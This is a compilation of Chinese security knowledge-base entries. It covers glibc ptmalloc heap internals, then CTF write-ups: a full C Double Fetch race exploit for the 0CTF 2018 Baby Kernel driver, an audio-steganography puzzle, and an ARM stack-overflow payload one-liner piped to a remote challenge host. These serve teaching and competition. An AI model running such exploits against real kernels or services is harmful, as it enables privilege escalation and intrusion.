### 堆概述 在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。 堆管理器处于用户程序与内核中间,主要做以下工作 1. 响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序。同时,为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。 2. 管理用户所释放的内存。一般来说,用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存的请求。 Linux 中早期的堆分配与回收由 Doug Lea 实现,但它在并行处理多个线程时,会共享进程的堆内存空间。因此,为了安全性,一个线程使用堆时,会进行加锁。然而,与此同时,加锁会导致其它线程无法使用堆,降低了内存分配和回收的高效性。同时,如果在多线程使用时,没能正确控制,也可能影响内存分配和回收的正确性。Wolfram Gloger 在 Doug Lea 的基础上进行改进使其可以支持多线程,这个堆分配器就是 ptmalloc 。在 glibc-2.3.x. 之后,glibc 中集成了ptmalloc2。 目前 Linux 标准发行版中使用的堆分配器是 glibc 中的堆分配器:ptmalloc2。ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。 需要注意的是,在内存分配与使用的过程中,Linux有这样的一个基本内存管理思想,**只有当真正访问一个地址的时候,系统才会建立虚拟页面与物理页面的映射关系**。 所以虽然操作系统已经给程序分配了很大的一块内存,但是这块内存其实只是虚拟内存。只有当用户使用到相应的内存时,系统才会真正分配物理页面给用户使用。 ### 堆的基本操作malloc 在 glibc 的[malloc.c](https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L448)中,malloc 的说明如下 ```c++ /* malloc(size_t n) Returns a pointer to a newly allocated chunk of at least n bytes, or null if no space is available. Additionally, on failure, errno is set to ENOMEM on ANSI C systems. If n is zero, malloc returns a minumum-sized chunk. (The minimum size is 16 bytes on most 32bit systems, and 24 or 32 bytes on 64bit systems.) On most systems, size_t is an unsigned type, so calls with negative arguments are interpreted as requests for huge amounts of space, which will often fail. The maximum supported value of n differs across systems, but is in all cases less than the maximum representable value of a size_t. */ ``` 可以看出,malloc 函数返回对应大小字节的内存块的指针。此外,该函数还对一些异常情况进行了处理 - 当 n=0 时,返回当前系统允许的堆的最小内存块。 - 当 n 为负数时,由于在大多数系统上,**size_t 是无符号数(这一点非常重要)**,所以程序就会申请很大的内存空间,但通常来说都会失败,因为系统没有那么多的内存可以分配。 ### 堆的基本操作free 在 glibc 的 [malloc.c](https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L465) 中,free 的说明如下 ```c++ /* free(void* p) Releases the chunk of memory pointed to by p, that had been previously allocated using malloc or a related routine such as realloc. It has no effect if p is null. It can have arbitrary (i.e., bad!) effects if p has already been freed. Unless disabled (using mallopt), freeing very large spaces will when possible, automatically trigger operations that give back unused memory to the system, thus reducing program footprint. */ ``` 可以看出,free 函数会释放由 p 所指向的内存块。这个内存块有可能是通过 malloc 函数得到的,也有可能是通过相关的函数 realloc 得到的。 此外,该函数也同样对异常情况进行了处理 - **当 p 为空指针时,函数不执行任何操作。** - 当 p 已经被释放之后,再次释放会出现乱七八糟的效果,这其实就是 `double free`。 - 除了被禁用 (mallopt) 的情况下,当释放很大的内存空间时,程序会将这些内存空间还给系统,以便于减小程序所使用的内存空间。 ### 内存分配背后的系统调用 在前面提到的函数中,无论是 malloc 函数还是 free 函数,我们动态申请和释放内存时,都经常会使用,但是它们并不是真正与系统交互的函数。这些函数背后的系统调用主要是 [(s)brk](http://man7.org/linux/man-pages/man2/sbrk.2.html) 函数以及 [mmap, munmap](http://man7.org/linux/man-pages/man2/mmap.2.html) 函数。 ### 内存分配背后的系统调用(s)brk 对于堆的操作,操作系统提供了 brk 函数,glibc 库提供了 sbrk 函数,我们可以通过增加 [brk](https://en.wikipedia.org/wiki/Sbrk) 的大小来向操作系统申请内存。 初始时,堆的起始地址 [start_brk](http://elixir.free-electrons.com/linux/v3.8/source/include/linux/mm_types.h#L365) 以及堆的当前末尾 [brk](http://elixir.free-electrons.com/linux/v3.8/source/include/linux/mm_types.h#L365) 指向同一地址。根据是否开启ASLR,两者的具体位置会有所不同 - 不开启 ASLR 保护时,start_brk 以及 brk 会指向 data/bss 段的结尾。 - 开启 ASLR 保护时,start_brk 以及 brk 也会指向同一位置,只是这个位置是在 data/bss 段结尾后的随机偏移处。 具体效果如下图(这个图片与网上流传的基本一致,这里是因为要画一张大图,所以自己单独画了下)所示 ![](./figure/program_virtual_address_memory_space.png) **例子** ```c /* sbrk and brk example */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> int main() { void *curr_brk, *tmp_brk = NULL; printf("Welcome to sbrk example:%d\n", getpid()); /* sbrk(0) gives current program break location */ tmp_brk = curr_brk = sbrk(0); printf("Program Break Location1:%p\n", curr_brk); getchar(); /* brk(addr) increments/decrements program break location */ brk(curr_brk+4096); curr_brk = sbrk(0); printf("Program break Location2:%p\n", curr_brk); getchar(); brk(tmp_brk); curr_brk = sbrk(0); printf("Program Break Location3:%p\n", curr_brk); getchar(); return 0; } ``` 需要注意的是,在每一次执行完操作后,都执行了getchar()函数,这是为了我们方便我们查看程序真正的映射。 **在第一次调用brk之前** 从下面的输出可以看出,并没有出现堆。因此 - start_brk = brk = end_data = 0x804b000 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ./sbrk Welcome to sbrk example:6141 Program Break Location1:0x804b000 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6141/maps ... 0804a000-0804b000 rw-p 00001000 08:01 539624 /home/sploitfun/ptmalloc.ppt/syscalls/sbrk b7e21000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` **第一次增加brk后** 从下面的输出可以看出,已经出现了堆段 - start_brk = end_data = 0x804b000 - brk = 0x804c000 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ./sbrk Welcome to sbrk example:6141 Program Break Location1:0x804b000 Program Break Location2:0x804c000 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6141/maps ... 0804a000-0804b000 rw-p 00001000 08:01 539624 /home/sploitfun/ptmalloc.ppt/syscalls/sbrk 0804b000-0804c000 rw-p 00000000 00:00 0 [heap] b7e21000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` 其中,关于堆的那一行 - 0x0804b000 是相应堆的起始地址 - rw-p表明堆具有可读可写权限,并且属于隐私数据。 - 00000000 表明文件偏移,由于这部分内容并不是从文件中映射得到的,所以为0。 - 00:00 是主从(Major/mirror)的设备号,这部分内容也不是从文件中映射得到的,所以也都为0。 - 0表示着Inode 号。由于这部分内容并不是从文件中映射得到的,所以为0。 ### 内存分配背后的系统调用mmap malloc 会使用 [mmap](http://lxr.free-electrons.com/source/mm/mmap.c?v=3.8#L1285)来创建独立的匿名映射段。匿名映射的目的主要是可以申请以0填充的内存,并且这块内存仅被调用进程所使用。 **例子** ```c++ /* Private anonymous mapping example using mmap syscall */ #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> void static inline errExit(const char* msg) { printf("%s failed. Exiting the process\n", msg); exit(-1); } int main() { int ret = -1; printf("Welcome to private anonymous mapping example::PID:%d\n", getpid()); printf("Before mmap\n"); getchar(); char* addr = NULL; addr = mmap(NULL, (size_t)132*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) errExit("mmap"); printf("After mmap\n"); getchar(); /* Unmap mapped region. */ ret = munmap(addr, (size_t)132*1024); if(ret == -1) errExit("munmap"); printf("After munmap\n"); getchar(); return 0; } ``` **在执行mmap之前** 我们可以从下面的输出看到,目前只有.so文件的mmap段。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap b7e21000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` **mmap后** 从下面的输出可以看出,我们申请的内存与已经存在的内存段结合在了一起构成了b7e00000到b7e21000的mmap段。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap b7e00000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` **munmap** 从下面的输出,我们可以看到我们原来申请的内存段已经没有了,内存段又恢复了原来的样子了。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap b7e21000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` ### 内存分配多线程支持 在原来的 dlmalloc 实现中,当两个线程同时要申请内存时,只有一个线程可以进入临界区申请内存,而另外一个线程则必须等待直到临界区中不再有线程。这是因为所有的线程共享一个堆。在glibc的ptmalloc实现中,比较好的一点就是支持了多线程的快速访问。在新的实现中,所有的线程共享多个堆。 这里给出一个例子。 ```c++ /* Per thread arena example. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/types.h> void* threadFunc(void* arg) { printf("Before malloc in thread 1\n"); getchar(); char* addr = (char*) malloc(1000); printf("After malloc and before free in thread 1\n"); getchar(); free(addr); printf("After free in thread 1\n"); getchar(); } int main() { pthread_t t1; void* s; int ret; char* addr; printf("Welcome to per thread arena example::%d\n",getpid()); printf("Before malloc in main thread\n"); getchar(); addr = (char*) malloc(1000); printf("After malloc and before free in main thread\n"); getchar(); free(addr); printf("After free in main thread\n"); getchar(); ret = pthread_create(&t1, NULL, threadFunc, NULL); if(ret) { printf("Thread creation error\n"); return -1; } ret = pthread_join(t1, &s); if(ret) { printf("Thread join error\n"); return -1; } return 0; } ``` **第一次申请之前**, 没有任何任何堆段。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread b7e05000-b7e07000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **第一次申请后**, 从下面的输出可以看出,堆段被建立了,并且它就紧邻着数据段,这说明malloc的背后是用brk函数来实现的。同时,需要注意的是,我们虽然只是申请了1000个字节,但是我们却得到了0x0806c000-0x0804b000=0x21000个字节的堆。**这说明虽然程序可能只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。**我们称这一块连续的内存区域为 arena。此外,我们称由主线程申请的内存为 main_arena。后续的申请的内存会一直从这个 arena 中获取,直到空间不足。当 arena 空间不足时,它可以通过增加brk的方式来增加堆的空间。类似地,arena 也可以通过减小 brk 来缩小自己的空间。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread ... sploitfun@sploitfun-VirtualBox:~/lsploits/hof/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7e05000-b7e07000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **在主线程释放内存后**,我们从下面的输出可以看出,其对应的 arena 并没有进行回收,而是交由glibc来进行管理。当后面程序再次申请内存时,在 glibc 中管理的内存充足的情况下,glibc 就会根据堆分配的算法来给程序分配相应的内存。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread After free in main thread ... sploitfun@sploitfun-VirtualBox:~/lsploits/hof/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7e05000-b7e07000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **在第一个线程malloc之前**,我们可以看到并没有出现与线程1相关的堆,但是出现了与线程1相关的栈。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread After free in main thread Before malloc in thread 1 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7604000-b7605000 ---p 00000000 00:00 0 b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:6594] ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **第一个线程malloc后**, 我们可以从下面输出看出线程1的堆段被建立了。而且它所在的位置为内存映射段区域,同样大小也是132KB(b7500000-b7521000)。因此这表明该线程申请的堆时,背后对应的函数为mmap函数。同时,我们可以看出实际真的分配给程序的内存为1M(b7500000-b7600000)。而且,只有132KB的部分具有可读可写权限,这一块连续的区域成为thread arena。 注意: > 当用户请求的内存大于128KB时,并且没有任何arena有足够的空间时,那么系统就会执行mmap函数来分配相应的内存空间。这与这个请求来自于主线程还是从线程无关。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread After free in main thread Before malloc in thread 1 After malloc and before free in thread 1 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7500000-b7521000 rw-p 00000000 00:00 0 b7521000-b7600000 ---p 00000000 00:00 0 b7604000-b7605000 ---p 00000000 00:00 0 b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:6594] ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **在第一个线程释放内存后**, 我们可以从下面的输出看到,这样释放内存同样不会把内存重新给系统。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread After free in main thread Before malloc in thread 1 After malloc and before free in thread 1 After free in thread 1 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7500000-b7521000 rw-p 00000000 00:00 0 b7521000-b7600000 ---p 00000000 00:00 0 b7604000-b7605000 ---p 00000000 00:00 0 b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:6594] ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ```
sec-knowleage
# Double Fetch ## 概述 `Double Fetch` 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争。 在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 `copy_from_user ` 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。 一个典型的 `Double Fetch` 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。 ## 2018 0CTF Finals Baby Kernel ### 题目分析 首先用 IDA 对驱动文件进行分析,可见 flag 是硬编码在驱动文件中的。 ```c .data:0000000000000480 flag dq offset aFlagThisWillBe .data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r .data:0000000000000480 ; baby_ioctl+DB↑r ... .data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}" .data:0000000000000488 align 20h ``` 驱动主要注册了一个 `baby_ioctl` 函数,其中包含两个功能。当 ioctl 中 cmd 参数为 0x6666 时,驱动将输出flag 的加载地址。当 ioctl 中 cmd 参数为 0x1337 时,首先进行三个校验,接着对用户输入的内容与硬编码的 flag 进行逐字节比较,当一致时通过 `printk` 将 flag 输出出来。 ```c signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2) { attr *v2; // rdx signed __int64 result; // rax int i; // [rsp-5Ch] [rbp-5Ch] attr *v5; // [rsp-58h] [rbp-58h] _fentry__(a1, a2); v5 = v2; if ( (_DWORD)a2 == 0x6666 ) { printk("Your flag is at %px! But I don't think you know it's content\n", flag); result = 0LL; } else if ( (_DWORD)a2 == 0x1337 && !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952)) && !_chk_range_not_ok( v5->flag_str, SLODWORD(v5->flag_len), *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952)) && LODWORD(v5->flag_len) == strlen(flag) ) { for ( i = 0; i < strlen(flag); ++i ) { if ( *(_BYTE *)(v5->flag_str + i) != flag[i] ) return 0x16LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); result = 0LL; } else { result = 0xELL; } return result; } ``` 而分析其检查函数,其中 `_chk_range_not_ok` 为检查指针及长度范围是否指向用户空间。通过对驱动文件功能的分析,可以得到用户输入的数据结构体如下: ``` 00000000 attr struc ; (sizeof=0x10, mappedto_3) 00000000 flag_str dq ? 00000008 flag_len dq ? 00000010 attr ends ``` 其检查内容为: 1. 输入的数据指针是否为用户态数据。 2. 数据指针内flag\_str是否指向用户态。 3. 据指针内flag\_len是否等于硬编码flag的长度。 ### 解题思路 根据 `Double Fetch` 漏洞原理,发现此题目存在一个 `Double Fetch` 漏洞,当用户输入数据通过验证后,再将 `flag_str` 所指向的地址改为 flag 硬编码地址后,即会输出 flag 内容。 首先,利用提供的 `cmd=0x6666` 功能,获取内核中 flag 的加载地址。 > 内核中以 `printk` 输出的内容,可以通过 `dmesg` 命令查看。 然后,构造符合 `cmd=0x1337` 功能的数据结构,其中 `flag_len` 可以从硬编码中直接获取为 33, `flag_str` 指向一个用户空间地址。 最后,创建一个恶意线程,不断的将 `flag_str` 所指向的用户态地址修改为 flag 的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出 flag 内容。 ### Exploit ```c // gcc -static exp.c -lpthread -o exp #include <string.h> char *strstr(const char *haystack, const char *needle); #define _GNU_SOURCE /* See feature_test_macros(7) */ #include <string.h> char *strcasestr(const char *haystack, const char *needle); #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <pthread.h> #define TRYTIME 0x1000 //碰撞次数 #define LEN 0x1000 struct attr { char *flag; size_t len; }; unsigned long long addr; int finish =0; char buf[LEN+1]={0}; //线程函数,不断修改flag指向的地址为内核中flag地址 void change_attr_value(void *s){ struct attr * s1 = s; while(finish==0){ s1->flag = addr; } } int main(void) { int addr_fd; char *idx; int fd = open("/dev/baby",0); int ret = ioctl(fd,0x6666); pthread_t t1; struct attr t; setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); //获取内核硬编码的flag地址 system("dmesg > /tmp/record.txt"); addr_fd = open("/tmp/record.txt",O_RDONLY); lseek(addr_fd,-LEN,SEEK_END); read(addr_fd,buf,LEN); close(addr_fd); idx = strstr(buf,"Your flag is at "); if (idx == 0){ printf("[-]Not found addr"); exit(-1); } else{ idx+=16; addr = strtoull(idx,idx+16,16); printf("[+]flag addr: %p\n",addr); } //构造attr数据结构 t.len = 33; t.flag = buf; //新建恶意线程 pthread_create(&t1, NULL, change_attr_value,&t); for(int i=0;i<TRYTIME;i++){ ret = ioctl(fd, 0x1337, &t); t.flag = buf; } finish = 1; pthread_join(t1, NULL); close(fd); puts("[+]result is :"); system("dmesg | grep flag"); return 0; } ``` ### 其他 此题在环境配置时,有几点需要注意。 首先, 需关闭 `dmesg_restrict` ,否则无法查看 `printk` 信息,具体操作是在启动脚本中加入: ```bash echo 0 > /proc/sys/kernel/dmesg_restrict ``` 其次,配置 QEMU 启动参数时, 不要开启 `SMAP` 保护,否则在内核中直接访问用户态数据会引起 `kerne panic` 。 还有,配置 QEMU 启动参数时,需要配置为非单核单线程启动,否则无法触发题目中的竞争条件。具体操作是在启动参数中增加其内核数选项,如: ```bash -smp 2,cores=2,threads=1 \ ``` > 在启动后,可通过 `/proc/cpuinfo` 查看当前运行的内核数及超线程数。 最后,此题存在一种侧信道攻击的非预期解法: >由于是 flag 是硬编码的,并且是检查方法是逐字节比较,因此可以逐字节爆破来得到 flag。 > >方法是将待爆破的字节放在 mmap 申请的内存页末位,此时下一字节位于不可读写的用户态空间。当得到正确的一字节时,内核会比较用户空间内下一个字节的正确性,由于该地址是不可读的,将导致 `kernel panic`,从而可以判断是否爆破的一个字节正确。 ## Reference https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/wang-pengfei https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/ http://p4nda.top/2018/07/20/0ctf-baby/ https://www.freebuf.com/articles/system/156485.html
sec-knowleage
# CTF Cheat Sheet A collection of commands which can be useful during CTFs. Access the cheat sheet [here](https://dvd848.github.io/CTFs/CheatSheet.html).
sec-knowleage
# Lost Voice (misc 100) ###ENG [PL](#pl-version) We get [mp3](LS.mp3) file to work with. From the sound we can recover the numbers `95cd605bea9065f44530` (which required some skill because `a` and `8` can sound similar and so did `e` and `d`). Then someone noticed that there is actually some video here, which very fade numbers `cb13bbb59dde` The flag was just concatenation: `SharifCTF{cb13bbb59dde95cd605bea9065f44530}` ###PL version Dostajemy [mp3](LS.mp3) do analizy. Z dźwięków odzyskujemy liczbe `95cd605bea9065f44530` (co nie było takie proste bo `a` mogło być `8` a `e` mogło być `d`). Następnie ktoś zauważył że jest tam też video, z ledwo dostrzegalnymi `cb13bbb59dde`. Flaga wymagała sklejenia tych 2 elementów: `SharifCTF{cb13bbb59dde95cd605bea9065f44530}`
sec-knowleage
# Today’s moon phase (pwn 150) ## ENG [PL](#pl-version) In the task we get ARM x86 [binary](pwn150) to work with. We can run the binary via retdec and get [source](pwn150.c). In the code we have already a nice function to read the flag. We also have to stack canary protection. This means we expect some stack buffer overflow to overwrite return pointer and jump to function which prints the flag. This points to all places where we can provide some inputs to the application. We have `getline` which reallocates memory automatically, so not here. We have `scanf` with `%c` so again, surely not here. We have another `scanf` with `%5hu%c` and the buffer is large enough (although retdec decompilation doesn't show this nicely). Finally we have something interesting: ```c snprintf((char *)&str2, 32, "%%%zus", (int64_t)(v6 % 0x10000)); scanf((char *)&str2); ``` Again retdec doesn't do justice here, but what happens is that we create a format string based on integer we read before and then we read based on this format. We read the input into buffer initially set as: ```c memset((char *)&v1, 0, 512); ``` So it has 512 bytes, and this is all inside a condition: ```c if ((int16_t)v6 < 513) ``` It would seem we can't pass anything more than 512, so we can't create a format string which would allow the buffer overflow. Let's look one more time on the format for the size: `%5hu`, so 5 digits and we read this as `unsigned short`. 5 digits seems a lot considering the max number we expect is `512`... Now let's look at the condition one more time: `(int16_t)v6 < 513`. But surely `int16_t` is `signed short`! So we found signed-unsigned issue here. We could pass a value much larger than 512, as long as after casting to signed value it's lower than 513, which is simple enough because anything large will become negative. So the exploitation chain is as follows: 1. Send random name. 2. Send `Y` (we want to send feedback) 3. Send large number to create string format allowing overflow 4. Send payload overflowing the buffer and overwrite return pointer (532 bytes + address) to function printing the flag (0x104d8) ``` python -c "print('A\n'+'Y\n'+'65536\n'+('A'*532)+chr(0xd8)+chr(0x04)+chr(0x01)+'\n')" | nc6 165.227.98.55 2222 ``` And we get `h4ck1t{Astronomy_is_fun}` ## PL version W zadaniu dostajemy [binary](pwn150) ARM x86. Możemy zdekompilować go za pomocą retdec i dostaniemy [source](pwn150.c). W kodzie widać od razu ładną funkcje do wypisywania flagi. Nie ma też stack canary. To oznacza, że spodziewamy się stack buffer overflow za pomocą którego nadpiszemy adres powrotu z funkcji i skoczymy od funkcji wypisującej flagę. To sugeruje analizę miejsc, gdzie wprowadzamy do aplikacji dane. Na początku mamy `getline`, ale on realokuje pamięć w miarę potrzeb, więc nie tutaj. Następnie mamy `scanf` ale z `%c` więc też nic z tego. Później jest kolejny `scanf` z `%5hu%c` ale bufor jest wystarczająco duży (chociaż w retdecowej dekompilacji słabo to widać). Wreszcie mamy coś ciekawego: ```c snprintf((char *)&str2, 32, "%%%zus", (int64_t)(v6 % 0x10000)); scanf((char *)&str2); ``` Znów retdec poległ na generacji sensownego kodu, ale zamysł jest taki, ze generujemy tu string format zależny od wartości zmiennej wczytanej wcześniej i za pomocą tego formatu pobieramy dane. Dane idą do bufora który był przygotowany przez: ```c memset((char *)&v1, 0, 512); ``` Więc ma 512 bajtów, a tworzenie formatu i pobieranie danych jest w warunku: ```c if ((int16_t)v6 < 513) ``` Wydawałoby się, że nie możemy podać niczego ponad 512, więc nie wygenerujemy string format, który pozwolilby na overflow. Popatrzmy jednak jeszcze raz na format według którego pobierany jest rozmiar: `%5hu`, więc 5 cyfr i czytamy `unsigned short`. 5 cyfr to dużo skoro oczekujemy nie wiecej niż `512`... Popatrzmy teraz na warunek jeszcze raz: `(int16_t)v6 < 513`. A przecież `int16_t` to `signed short`! Mamy więc błąd signed-unsigned. Można więc przemycić wartość większą niż 512, o ile po zrzutowaniu do typu signed jej wartość będzie mniejsza niż 513, co jest trywialne, bo każda wystarczająco duża liczba będzie ujemna. Więc schemat ataku to: 1. Wysyłamy losowe imie. 2. Wysyłamy `Y` (chcemy wysłać feedback) 3. Wysyłamy dużą liczbę która pozwoli nam utworzyć string format umożliwiający overflow 4. Wysyłamy dane przepełniające bufor i nadpisujący adres powrotu z funkcji (532 bajty + adres) na adres funkcji wypisującej flagę (0x104d8). ``` python -c "print('A\n'+'Y\n'+'65536\n'+('A'*532)+chr(0xd8)+chr(0x04)+chr(0x01)+'\n')" | nc6 165.227.98.55 2222 ``` I dostajemy: `h4ck1t{Astronomy_is_fun}`
sec-knowleage
